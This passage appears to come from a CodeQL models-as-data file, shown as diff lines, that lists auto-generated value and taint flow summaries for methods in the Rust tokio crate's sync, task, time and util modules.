"Argument[self].Field[crate::sync::mpsc::bounded::Sender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::bounded::Sender::chan]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reserve", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reserve_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendTimeoutError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendTimeoutError::Timeout(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_reserve", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_reserve_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_reserve_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_reserve_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Full(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Full(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::bounded::WeakSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::bounded::WeakSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::chan::Tx::inner].Reference", "ReturnValue.Field[crate::sync::mpsc::chan::Tx::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade", "Argument[self].Field[crate::sync::mpsc::chan::Tx::inner].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::mpsc::chan::Tx::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::sync::mpsc::error::SendTimeoutError::Closed(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::sync::mpsc::error::SendTimeoutError::Timeout(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::sync::mpsc::error::SendError(0)]", "ReturnValue.Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::sync::mpsc::error::TrySendError::Full(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedReceiver::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::unbounded::UnboundedSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::unbounded::WeakUnboundedSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::unbounded::WeakUnboundedSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::mutex::MappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::mutex::MappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mutex::MutexGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mutex::OwnedMutexGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mutex", "Argument[0].Field[crate::sync::mutex::MutexGuard::lock]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::mutex::OwnedMappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::mutex::OwnedMappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mutex", "Argument[0].Field[crate::sync::mutex::OwnedMutexGuard::lock]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::notified", "Argument[self]", "ReturnValue.Field[crate::sync::notify::Notified::notify]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::once_cell::SetError::AlreadyInitializedError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::once_cell::SetError::InitializingError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::const_with_max_readers", "Argument[1]", "ReturnValue.Field[crate::sync::rwlock::RwLock::mr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::owned_read_guard::OwnedRwLockReadGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_write", "Argument[self].Field[crate::sync::rwlock::RwLock::mr]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::write_guard::RwLockWriteGuard::permits_acquired]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_write_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::owned_write_guard::OwnedRwLockWriteGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_max_readers", "Argument[1]", "ReturnValue.Field[crate::sync::rwlock::RwLock::mr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::owned_read_guard::OwnedRwLockReadGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::rwlock", "Argument[0].Field[crate::sync::rwlock::owned_read_guard::OwnedRwLockReadGuard::lock]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::owned_write_guard::OwnedRwLockWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::rwlock::owned_write_guard::OwnedRwLockWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_mapped", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::rwlock", "Argument[0].Field[crate::sync::rwlock::owned_write_guard::OwnedRwLockWriteGuard::lock]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_downgrade_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_downgrade_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::owned_write_guard_mapped::OwnedRwLockMappedWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::rwlock::owned_write_guard_mapped::OwnedRwLockMappedWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::rwlock", "Argument[0].Field[crate::sync::rwlock::owned_write_guard_mapped::OwnedRwLockMappedWriteGuard::lock]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::read_guard::RwLockReadGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::write_guard::RwLockWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::rwlock::write_guard::RwLockWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_mapped", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_downgrade_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_downgrade_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::write_guard_mapped::RwLockMappedWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::rwlock::write_guard_mapped::RwLockMappedWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::num_permits", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::semaphore", "Argument[self].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many_owned", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::forget_permits", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many_owned", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::num_permits", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self].Field[crate::sync::semaphore::SemaphorePermit::sem]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::has_changed", "Argument[self].Field[crate::sync::watch::Ref::has_changed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::watch::Sender::shared].Reference", "ReturnValue.Field[crate::sync::watch::Sender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::watch::error::SendError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send_replace", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::subscribe", "Argument[self].Field[crate::sync::watch::Sender::shared].Reference", "ReturnValue.Field[crate::sync::watch::Receiver::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self].Field[crate::task::join_set::JoinSet::inner].Field[crate::util::idle_notified_set::IdleNotifiedSet::length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_join_next", "Argument[self].Field[crate::task::join_set::JoinSet::inner]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_join_next", "Argument[self].Field[crate::task::join_set::JoinSet::inner]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_join_next_with_id", "Argument[self].Field[crate::task::join_set::JoinSet::inner]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_join_next_with_id", "Argument[self].Field[crate::task::join_set::JoinSet::inner]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[0]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::slot].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[1]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::future].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[self]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::local]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sync_scope", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_with", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_waker", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::time::instant::Instant::std]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::time::error::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::time::instant::Instant::std]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sub_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_std", "Argument[0]", "ReturnValue.Field[crate::time::instant::Instant::std]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_std", "Argument[self].Field[crate::time::instant::Instant::std]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::missed_tick_behavior", "Argument[self].Field[crate::time::interval::Interval::missed_tick_behavior]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::period", "Argument[self].Field[crate::time::interval::Interval::period]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_missed_tick_behavior", "Argument[0]", "Argument[self].Field[crate::time::interval::Interval::missed_tick_behavior]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deadline", "Argument[self].Field[crate::time::sleep::Sleep::entry].Field[crate::runtime::time::entry::TimerEntry::deadline]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_timeout", "Argument[0]", "ReturnValue.Field[crate::time::sleep::Sleep::entry].Field[crate::runtime::time::entry::TimerEntry::deadline]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::time::timeout::Timeout::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::time::timeout::Timeout::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::time::timeout::Timeout::value]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_delay", "Argument[0]", "ReturnValue.Field[crate::time::timeout::Timeout::value]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_delay", "Argument[1]", "ReturnValue.Field[crate::time::timeout::Timeout::delay]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pack", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pack", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pack", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unpack", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unpack", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::util::cacheline::CachePadded::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - 